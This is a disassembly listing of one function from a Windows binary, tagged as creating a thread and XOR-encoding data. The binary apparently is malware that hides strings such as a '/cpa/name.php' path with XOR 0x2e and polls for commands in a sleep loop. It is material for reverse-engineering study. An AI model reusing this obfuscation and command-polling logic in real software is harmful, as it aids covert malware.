Function at 0x407ba0
Capabilities:
Create thread
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x428e22
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x3e8
mov eax, dword [0x439018]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
mov dword [ebp - 4], 1
call fcn.0041697a
add esp, 4
push eax
call fcn.00416834
add esp, 4
push 0
push 0
push 0
push 0x4051c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
mov dword [ebp - 0x3c], 0
lea ecx, [ebp - 0x3c]
push str.SUB
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
call fcn.00402400
lea edx, [ebp - 0x3c]
mov byte [ebp - 4], 2
lea ecx, [ebx + 0x20]
call fcn.00405ff0
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x28]
cmp edx, 0x10
jb 0x407c8a
mov ecx, dword [ebp - 0x3c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407c80
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40936a
push edx
push ecx
call fcn.0040e7d3
add esp, 8
push 1
mov dword [ebp - 0x3c], 0
lea ecx, [ebp - 0x3c]
push 0x435a38
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
call fcn.00402400
lea edx, [ebp - 0x3c]
mov byte [ebp - 4], 3
lea ecx, [ebx + 8]
call fcn.00405ff0
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x28]
cmp edx, 0x10
jb 0x407cf9
mov ecx, dword [ebp - 0x3c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407cef
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40936a
push edx
push ecx
call fcn.0040e7d3
add esp, 8
cmp dword [ebx + 0x1c], 0x10
lea ecx, [ebx + 8]
jb 0x407d0e
mov edi, dword [ebx + 8]
mov ecx, edi
mov esi, dword [ebx + 0x18]
add esi, edi
jmp 0x407d17
lea esi, [ebx + 8]
add esi, dword [ebx + 0x18]
lea edi, [ebx + 8]
cmp edi, esi
je 0x407d3d
sub ecx, edi
mov dword [ebp - 0x364], ecx
movzx eax, byte [edi]
push eax
call fcn.0041694a
mov ecx, dword [ebp - 0x364]
add esp, 4
mov byte [edi + ecx], al
inc edi
cmp edi, esi
jne 0x407d23
call fcn.00404ca0
mov dword [ebp - 0x368], eax
call fcn.004045d0
cmp dword [ebx + 0x1c], 0x10
lea ecx, [ebx + 8]
mov edx, dword [ebx + 0x18]
cmovae ecx, dword [ebx + 8]
push 3
push 0x435a3c
push ecx
mov dword [ebp - 0x364], eax
call fcn.0040cbb0
mov edi, dword fs:[0x2c]
add esp, 0xc
test eax, eax
jne 0x408154
push 0x148
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.00410380
add esp, 0xc
mov dword [ebp - 0x20c], 0x435a20
mov dword [ebp - 0x214], 0x7a120
push 0x7a120
call fcn.0040e7e1
add esp, 4
mov dword [ebp - 0x218], eax
push dword [ebp - 0x214]
push 0
push eax
call fcn.00410380
add esp, 0xc
mov dword [ebp - 0x1f4], 0xfde9
mov dword [ebp - 0x1e0], 0
mov dword [ebp - 0x1dc], 0
mov dword [ebp - 0x1d8], 0
mov byte [ebp - 4], 4
mov ecx, dword [edi]
mov eax, dword [0x43ae70]
mov dword [ebp - 0x4c], 0x4f5e4d01
mov dword [ebp - 0x48], 0x434f4001
mov dword [ebp - 0x44], 0x465e004b
mov word [ebp - 0x40], 0x2e5e
cmp eax, dword [ecx + 4]
jle 0x407e73
push 0x43ae70
call fcn.0040e91c
add esp, 4
cmp dword [0x43ae70], 0xffffffff
jne 0x407e73
mov eax, dword [ebp - 0x44]
movq xmm0, qword [ebp - 0x4c]
mov dword [0x43ad74], eax
mov ax, word [ebp - 0x40]
push 0x4298b0
movq qword [0x43ad6c], xmm0
mov word [0x43ad78], ax
call fcn.0040ed43
add esp, 4
push 0x43ae70
call fcn.0040e8d2
add esp, 4
cmp byte [0x43ad79], 0
je 0x407e8d
xor eax, eax
nop
xor byte [eax + 0x43ad6c], 0x2e
inc eax
cmp eax, 0xe
jb 0x407e80
mov ecx, 0x43ad6c
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407eb0
sub ecx, edx
push ecx
push 0x43ad6c
lea ecx, [ebp - 0x3c]
call fcn.00402400
mov byte [ebp - 4], 5
mov eax, 0x43abec
cmp dword [0x43ac00], 0x10
push dword [0x43abfc]
cmovae eax, dword [0x43abec]
push eax
push ecx
lea ecx, [ebp - 0x3c]
call fcn.0040d100
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xb4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xa4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x28]
cmp edx, 0x10
jb 0x407f6d
mov ecx, dword [ebp - 0x3c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407f63
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x407f63
call fcn.00412da7
push edx
push ecx
call fcn.0040e7d3
add esp, 8
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
nop
cmp dword [ebp - 0xa0], 0x10
lea esi, [ebp - 0xb4]
mov eax, dword [ebp - 0x1ec]
cmovae esi, dword [ebp - 0xb4]
mov dword [ebp - 0x1e4], 0
test eax, eax
je 0x407fbb
push eax
call fcn.0040e5a1
add esp, 4
mov dword [ebp - 0x1ec], 0
push esi
lea ecx, [ebp - 0x218]
call fcn.00401d30
test eax, eax
je 0x40805a
mov edx, dword [ebp - 0x1f0]
xor eax, eax
cmp dword [ebp - 0x1e4], eax
mov dword [ebp - 0x54], eax
cmove edx, eax
mov dword [ebp - 0x44], eax
mov ecx, edx
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], al
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407ff5
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x54]
call fcn.00402400
mov byte [ebp - 4], 8
lea eax, [ebp - 0x54]
mov edx, dword [ebp - 0x40]
cmp edx, 0x10
mov ecx, dword [ebp - 0x54]
mov esi, dword [ebp - 0x44]
cmovae eax, ecx
cmp esi, 1
je 0x40806a
cmp esi, 0x14
jb 0x408083
mov byte [ebp - 4], 7
cmp edx, 0x10
jb 0x40805a
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408050
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4080fa
push edx
push ecx
call fcn.0040e7d3
add esp, 8
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x407f80
movzx eax, byte [eax]
cmp al, 0x30
jne 0x408075
xor eax, eax
jmp 0x40807a
sbb eax, eax
or eax, 1
test eax, eax
jne 0x408083
call fcn.00404fe0
cmp edx, 0x10
lea eax, [ebp - 0x54]
push esi
cmovae eax, ecx
lea ecx, [ebx + 8]
push eax
call fcn.00402400
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x40]
cmp edx, 0x10
jb 0x4080ca
mov ecx, dword [ebp - 0x54]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4080c0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4080fa
push edx
push ecx
call fcn.0040e7d3
add esp, 8
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0xa0]
cmp edx, 0x10
jb 0x408109
mov ecx, dword [ebp - 0xb4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4080ff
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4080ff
call fcn.00412da7
push edx
push ecx
call fcn.0040e7d3
add esp, 8
push dword [ebp - 0x218]
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
call fcn.0040e5a1
add esp, 4
push dword [ebp - 0x1f0]
call fcn.0040e5a1
add esp, 4
push dword [ebp - 0x1ec]
call fcn.0040e5a1
add esp, 4
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], 0
mov byte [ebp - 4], 0xb
mov esi, dword [edi]
mov eax, dword [0x43ae48]
mov dword [ebp - 0x18], 0x2e564743
cmp eax, dword [esi + 4]
jle 0x408203
push 0x43ae48
call fcn.0040e91c
add esp, 4
cmp dword [0x43ae48], 0xffffffff
jne 0x408203
mov eax, dword [ebp - 0x18]
push 0x4298a0
mov dword [0x43afb0], eax
call fcn.0040ed43
add esp, 4
push 0x43ae48
call fcn.0040e8d2
add esp, 4
mov al, byte [0x43afb3]
test al, al
je 0x408228
xor byte [0x43afb0], 0x2e
xor byte [0x43afb1], 0x2e
xor byte [0x43afb2], 0x2e
xor al, 0x2e
mov byte [0x43afb3], al
mov ecx, 0x43afb0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408245
sub ecx, edx
push ecx
push 0x43afb0
lea ecx, [ebp - 0x3c]
call fcn.00402400
cmp dword [ebp - 0x28], 0x10
lea eax, [ebp - 0x3c]
mov edi, dword [ebp - 0x3c]
lea ecx, [ebx + 8]
push dword [ebp - 0x2c]
mov edx, dword [ebx + 0x18]
cmovae eax, edi
setae byte [ebp - 0x19]
cmp dword [ebx + 0x1c], 0x10
push eax
cmovae ecx, dword [ebx + 8]
push ecx
call fcn.0040cbb0
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp byte [ebp - 0x19], 0
je 0x4082c0
mov ecx, dword [ebp - 0x28]
mov eax, edi
inc ecx
cmp ecx, 0x1000
jb 0x4082b3
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40936a
push ecx
push edi
call fcn.0040e7d3
mov eax, dword [ebp - 0x18]
add esp, 8
test eax, eax
jne 0x4085fb
cmp dword [ebx + 0x1c], 0x10
lea ecx, [ebx + 8]
mov edx, dword [ebx + 0x18]
cmovae ecx, dword [ebx + 8]
push 6
push str.mixone
push ecx
call fcn.004025e0
mov ecx, dword [esi + 4]
add esp, 0xc
mov dword [ebp - 0x24], 0x4b5c465a
mov word [ebp - 0x20], 0x2e4b
cmp eax, 0xffffffff
je 0x408464
cmp dword [0x43ad84], ecx
jle 0x40834c
push 0x43ad84
call fcn.0040e91c
add esp, 4
cmp dword [0x43ad84], 0xffffffff
jne 0x40834c
mov eax, dword [ebp - 0x24]
mov dword [0x43ae98], eax
mov ax, word [ebp - 0x20]
push 0x429890
mov word [0x43ae9c], ax
call fcn.0040ed43
add esp, 4
push 0x43ad84
call fcn.0040e8d2
add esp, 4
mov al, byte [0x43ae9d]
test al, al
je 0x40837f
xor byte [0x43ae98], 0x2e
xor byte [0x43ae99], 0x2e
xor byte [0x43ae9a], 0x2e
xor byte [0x43ae9b], 0x2e
xor byte [0x43ae9c], 0x2e
xor al, 0x2e
mov byte [0x43ae9d], al
mov ecx, 0x43ae98
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4083a0
sub ecx, edx
push ecx
push 0x43ae98
lea ecx, [ebp - 0x3c]
call fcn.00402400
movups xmm0, xmmword [ebp - 0x3c]
mov eax, dword [0x43ae4c]
mov word [ebp - 0x1c], 0x2e68
movups xmmword [ebp - 0x84], xmm0
movq xmm0, qword [ebp - 0x2c]
movq qword [ebp - 0x74], xmm0
cmp eax, dword [esi + 4]
jle 0x408419
push 0x43ae4c
call fcn.0040e91c
add esp, 4
cmp dword [0x43ae4c], 0xffffffff
jne 0x408419
mov ax, word [ebp - 0x1c]
push 0x429880
mov word [0x43adf0], ax
call fcn.0040ed43
add esp, 4
push 0x43ae4c
call fcn.0040e8d2
add esp, 4
mov al, byte [0x43adf1]
test al, al
je 0x408430
xor byte [0x43adf0], 0x2e
xor al, 0x2e
mov byte [0x43adf1], al
mov ecx, 0x43adf0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408450
sub ecx, edx
push ecx
push 0x43adf0
jmp 0x4085bf
cmp dword [0x43afd0], ecx
jle 0x4084ae
push 0x43afd0
call fcn.0040e91c
add esp, 4
cmp dword [0x43afd0], 0xffffffff
jne 0x4084ae
mov eax, dword [ebp - 0x24]
mov dword [0x43acdc], eax
mov ax, word [ebp - 0x20]
push 0x429870
mov word [0x43ace0], ax
call fcn.0040ed43
add esp, 4
push 0x43afd0
call fcn.0040e8d2
add esp, 4
mov al, byte [0x43ace1]
test al, al
je 0x4084e1
xor byte [0x43acdc], 0x2e
xor byte [0x43acdd], 0x2e
xor byte [0x43acde], 0x2e
xor byte [0x43acdf], 0x2e
xor byte [0x43ace0], 0x2e
xor al, 0x2e
mov byte [0x43ace1], al
mov ecx, 0x43acdc
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408500
sub ecx, edx
push ecx
push 0x43acdc
lea ecx, [ebp - 0x3c]
call fcn.00402400
movups xmm0, xmmword [ebp - 0x3c]
mov eax, dword [0x43affc]
mov word [ebp - 0x1c], 0x2e6d
movups xmmword [ebp - 0x84], xmm0
movq xmm0, qword [ebp - 0x2c]
movq qword [ebp - 0x74], xmm0
cmp eax, dword [esi + 4]
jle 0x408579
push 0x43affc
call fcn.0040e91c
add esp, 4
cmp dword [0x43affc], 0xffffffff
jne 0x408579
mov ax, word [ebp - 0x1c]
push 0x429860
mov word [0x43aeac], ax
call fcn.0040ed43
add esp, 4
push 0x43affc
call fcn.0040e8d2
add esp, 4
mov al, byte [0x43aead]
test al, al
je 0x408590
xor byte [0x43aeac], 0x2e
xor al, 0x2e
mov byte [0x43aead], al
mov ecx, 0x43aeac
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4085b0
sub ecx, edx
push ecx
push 0x43aeac
lea ecx, [ebp - 0x3c]
call fcn.00402400
movups xmm0, xmmword [ebp - 0x3c]
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push dword [ebx + 0x18]
cmovae eax, dword [ebx + 8]
lea ecx, [ebp - 0x6c]
movups xmmword [ebp - 0x9c], xmm0
push eax
movq xmm0, qword [ebp - 0x2c]
movq qword [ebp - 0x8c], xmm0
call fcn.00402400
jmp 0x4096e2
mov eax, dword [0x43adf8]
mov word [ebp - 0x18], 0x5b4b
mov byte [ebp - 0x19], 0x2e
cmp eax, dword [esi + 4]
jle 0x408654
push 0x43adf8
call fcn.0040e91c
add esp, 4
cmp dword [0x43adf8], 0xffffffff
jne 0x408654
mov ax, word [ebp - 0x18]
mov word [0x43aed0], ax
mov al, byte [ebp - 0x19]
push 0x429850
mov byte [0x43aed2], al
call fcn.0040ed43
add esp, 4
push 0x43adf8
call fcn.0040e8d2
add esp, 4
mov al, byte [0x43aed2]
test al, al
je 0x408672
xor byte [0x43aed0], 0x2e
xor byte [0x43aed1], 0x2e
xor al, 0x2e
mov byte [0x43aed2], al
mov ecx, 0x43aed0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408690
sub ecx, edx
push ecx
push 0x43aed0
lea ecx, [ebp - 0x3c]
call fcn.00402400
cmp dword [ebp - 0x28], 0x10
lea eax, [ebp - 0x3c]
mov edi, dword [ebp - 0x3c]
lea ecx, [ebx + 8]
push dword [ebp - 0x2c]
mov edx, dword [ebx + 0x18]
cmovae eax, edi
setae byte [ebp - 0x19]
cmp dword [ebx + 0x1c], 0x10
push eax
cmovae ecx, dword [ebx + 8]
push ecx
call fcn.0040cbb0
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp byte [ebp - 0x19], 0
je 0x408708
mov ecx, dword [ebp - 0x28]
mov eax, edi
inc ecx
cmp ecx, 0x1000
jb 0x4086fe
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40936a
push ecx
push edi
call fcn.0040e7d3
add esp, 8
cmp dword [ebp - 0x18], 0
mov eax, dword [esi + 4]
mov byte [ebp - 0x19], 0x2e
jne 0x408cc3
mov word [ebp - 0x18], 0x5b4b
cmp dword [0x43aeb4], eax
jle 0x40876c
push 0x43aeb4
call fcn.0040e91c
add esp, 4
cmp dword [0x43aeb4], 0xffffffff
jne 0x40876c
mov ax, word [ebp - 0x18]
mov word [0x43ad80], ax
mov al, byte [ebp - 0x19]
push 0x429840
mov byte [0x43ad82], al
call fcn.0040ed43
add esp, 4
push 0x43aeb4
call fcn.0040e8d2
add esp, 4
mov al, byte [0x43ad82]
test al, al
je 0x40878a
xor byte [0x43ad80], 0x2e
xor byte [0x43ad81], 0x2e
xor al, 0x2e
mov byte [0x43ad82], al
mov ecx, 0x43ad80
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4087a7
sub ecx, edx
push ecx
push 0x43ad80
lea ecx, [ebp - 0x3c]
call fcn.00402400
movups xmm0, xmmword [ebp - 0x3c]
mov eax, dword [0x43ad68]
mov word [ebp - 0x1c], 0x2e6a
movups xmmword [ebp - 0x84], xmm0
movq xmm0, qword [ebp - 0x2c]
movq qword [ebp - 0x74], xmm0
cmp eax, dword [esi + 4]
jle 0x408820
push 0x43ad68
call fcn.0040e91c
add esp, 4
cmp dword [0x43ad68], 0xffffffff
jne 0x408820
mov ax, word [ebp - 0x1c]
push 0x429830
mov word [0x43adf4], ax
call fcn.0040ed43
add esp, 4
push 0x43ad68
call fcn.0040e8d2
add esp, 4
mov al, byte [0x43adf5]
test al, al
je 0x408837
xor byte [0x43adf4], 0x2e
xor al, 0x2e
mov byte [0x43adf5], al
mov ecx, 0x43adf4
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408854
sub ecx, edx
push ecx
push 0x43adf4
lea ecx, [ebp - 0x3c]
call fcn.00402400
movups xmm0, xmmword [ebp - 0x3c]
mov eax, dword [0x43af04]
mov dword [ebp - 0x24], 0x40415b4b
movups xmmword [ebp - 0x9c], xmm0
mov word [ebp - 0x20], 0x2e4b
movq xmm0, qword [ebp - 0x2c]
movq qword [ebp - 0x8c], xmm0
cmp eax, dword [esi + 4]
jle 0x4088df
push 0x43af04
call fcn.0040e91c
add esp, 4
cmp dword [0x43af04], 0xffffffff
jne 0x4088df
mov eax, dword [ebp - 0x24]
mov dword [0x43ace4], eax
mov ax, word [ebp - 0x20]
push 0x429820
mov word [0x43ace8], ax
call fcn.0040ed43
add esp, 4
push 0x43af04
call fcn.0040e8d2
add esp, 4
mov al, byte [0x43ace9]
test al, al
je 0x408912
xor byte [0x43ace4], 0x2e
xor byte [0x43ace5], 0x2e
xor byte [0x43ace6], 0x2e
xor byte [0x43ace7], 0x2e
xor byte [0x43ace8], 0x2e
xor al, 0x2e
mov byte [0x43ace9], al
mov ecx, 0x43ace4
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408930
sub ecx, edx
push ecx
push 0x43ace4
lea ecx, [ebp - 0x3c]
call fcn.00402400
cmp dword [ebp - 0x28], 0x10
lea eax, [ebp - 0x3c]
mov edi, dword [ebp - 0x3c]
lea ecx, [ebx + 8]
push dword [ebp - 0x2c]
mov edx, dword [ebx + 0x18]
cmovae eax, edi
setae byte [ebp - 0x19]
cmp dword [ebx + 0x1c], 0x10
push eax
cmovae ecx, dword [ebx + 8]
push ecx
call fcn.0040cbb0
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp byte [ebp - 0x19], 0
je 0x4089a8
mov ecx, dword [ebp - 0x28]
mov eax, edi
inc ecx
cmp ecx, 0x1000
jb 0x40899e
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40936a
push ecx
push edi
call fcn.0040e7d3
add esp, 8
cmp dword [ebp - 0x18], 0
mov eax, dword [esi + 4]
jne 0x408aa7
mov dword [ebp - 0x18], 0x2e4b4041
cmp dword [0x43ae00], eax
jle 0x4089ff
push 0x43ae00
call fcn.0040e91c
add esp, 4
cmp dword [0x43ae00], 0xffffffff
jne 0x4089ff
mov eax, dword [ebp - 0x18]
push 0x429810
mov dword [0x43ad38], eax
call fcn.0040ed43
add esp, 4
push 0x43ae00
call fcn.0040e8d2
add esp, 4
mov al, byte [0x43ad3b]
test al, al
je 0x408a24
xor byte [0x43ad38], 0x2e
xor byte [0x43ad39], 0x2e
xor byte [0x43ad3a], 0x2e
xor al, 0x2e
mov byte [0x43ad3b], al
mov ecx, 0x43ad38
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408a41
sub ecx, edx
push ecx
push 0x43ad38
lea ecx, [ebp - 0x3c]
call fcn.00402400
mov edx, dword [ebp - 0x58]
cmp edx, 0x10
jb 0x408cac
mov ecx, dword [ebp - 0x6c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408a86
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40936a
push edx
push ecx
call fcn.0040e7d3
movups xmm0, xmmword [ebp - 0x3c]
add esp, 8
movups xmmword [ebp - 0x6c], xmm0
movq xmm0, qword [ebp - 0x2c]
movq qword [ebp - 0x5c], xmm0
jmp 0x4096e2
mov dword [ebp - 0x24], 0x595a5b4b
mov word [ebp - 0x20], 0x2e41
cmp dword [0x43aec4], eax
jle 0x408afe
push 0x43aec4
call fcn.0040e91c
add esp, 4
cmp dword [0x43aec4], 0xffffffff
jne 0x408afe
mov eax, dword [ebp - 0x24]
mov dword [0x43ad88], eax
mov ax, word [ebp - 0x20]
push 0x429800
mov word [0x43ad8c], ax
call fcn.0040ed43
add esp, 4
push 0x43aec4
call fcn.0040e8d2
add esp, 4
mov al, byte [0x43ad8d]
test al, al
je 0x408b31
xor byte [0x43ad88], 0x2e
xor byte [0x43ad89], 0x2e
xor byte [0x43ad8a], 0x2e
xor byte [0x43ad8b], 0x2e
xor byte [0x43ad8c], 0x2e
xor al, 0x2e
mov byte [0x43ad8d], al
mov ecx, 0x43ad88
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408b50
sub ecx, edx
push ecx
push 0x43ad88
lea ecx, [ebp - 0x3c]
call fcn.00402400
cmp dword [ebp - 0x28], 0x10
lea eax, [ebp - 0x3c]
mov edi, dword [ebp - 0x3c]
lea ecx, [ebx + 8]
push dword [ebp - 0x2c]
mov edx, dword [ebx + 0x18]
cmovae eax, edi
setae byte [ebp - 0x19]
cmp dword [ebx + 0x1c], 0x10
push eax
cmovae ecx, dword [ebx + 8]
push ecx
call fcn.0040cbb0
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp byte [ebp - 0x19], 0
je 0x408bcb
mov ecx, dword [ebp - 0x28]
mov eax, edi
inc ecx
cmp ecx, 0x1000
jb 0x408bbe
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40936a
push ecx
push edi
call fcn.0040e7d3
mov eax, dword [ebp - 0x18]
add esp, 8
test eax, eax
jne 0x4096e2
mov eax, dword [0x43ad9c]
mov dword [ebp - 0x18], 0x2e41595a
cmp eax, dword [esi + 4]
jle 0x408c1f
push 0x43ad9c
call fcn.0040e91c
add esp, 4
cmp dword [0x43ad9c], 0xffffffff
jne 0x408c1f
mov eax, dword [ebp - 0x18]
push 0x4297f0
mov dword [0x43adac], eax
call fcn.0040ed43
add esp, 4
push 0x43ad9c
call fcn.0040e8d2
add esp, 4
mov al, byte [0x43adaf]
test al, al
je 0x408c44
xor byte [0x43adac], 0x2e
xor byte [0x43adad], 0x2e
xor byte [0x43adae], 0x2e
xor al, 0x2e
mov byte [0x43adaf], al
mov ecx, 0x43adac
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408c61
sub ecx, edx
push ecx
push 0x43adac
lea ecx, [ebp - 0x3c]
call fcn.00402400
mov edx, dword [ebp - 0x58]
cmp edx, 0x10
jb 0x408cac
mov ecx, dword [ebp - 0x6c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408ca2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40936a
push edx
push ecx
call fcn.0040e7d3
add esp, 8
movups xmm0, xmmword [ebp - 0x3c]
movups xmmword [ebp - 0x6c], xmm0
movq xmm0, qword [ebp - 0x2c]
movq qword [ebp - 0x5c], xmm0
jmp 0x4096e2
mov word [ebp - 0x18], 0x5d5b
cmp dword [0x43ac48], eax
jle 0x408d13
push 0x43ac48
call fcn.0040e91c
add esp, 4
cmp dword [0x43ac48], 0xffffffff
jne 0x408d13
mov ax, word [ebp - 0x18]
mov word [0x43ad20], ax
mov al, byte [ebp - 0x19]
push 0x4297e0
mov byte [0x43ad22], al
call fcn.0040ed43
add esp, 4
push 0x43ac48
call fcn.0040e8d2
add esp, 4
mov al, byte [0x43ad22]
test al, al
je 0x408d31
xor byte [0x43ad20], 0x2e
xor byte [0x43ad21], 0x2e
xor al, 0x2e
mov byte [0x43ad22], al
mov ecx, 0x43ad20
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408d50
sub ecx, edx
push ecx
push 0x43ad20
lea ecx, [ebp - 0x3c]
call fcn.00402400
cmp dword [ebp - 0x28], 0x10
lea eax, [ebp - 0x3c]
mov edi, dword [ebp - 0x3c]
lea ecx, [ebx + 8]
push dword [ebp - 0x2c]
mov edx, dword [ebx + 0x18]
cmovae eax, edi
setae byte [ebp - 0x19]
cmp dword [ebx + 0x1c], 0x10
push eax
cmovae ecx, dword [ebx + 8]
push ecx
call fcn.0040cbb0
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp byte [ebp - 0x19], 0
je 0x408dc8
mov ecx, dword [ebp - 0x28]
mov eax, edi
inc ecx
cmp ecx, 0x1000
jb 0x408dbe
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40936a
push ecx
push edi
call fcn.0040e7d3
add esp, 8
cmp dword [ebp - 0x18], 0
mov eax, dword [esi + 4]
mov byte [ebp - 0x19], 0x2e
jne 0x40936f
mov word [ebp - 0x18], 0x5d5b
cmp dword [0x43af60], eax
jle 0x408e2c
push 0x43af60
call fcn.0040e91c
add esp, 4
cmp dword [0x43af60], 0xffffffff
jne 0x408e2c
mov ax, word [ebp - 0x18]
mov word [0x43aed4], ax
mov al, byte [ebp - 0x19]
push 0x4297d0
mov byte [0x43aed6], al
call fcn.0040ed43
add esp, 4
push 0x43af60
call fcn.0040e8d2
add esp, 4
mov al, byte [0x43aed6]
test al, al
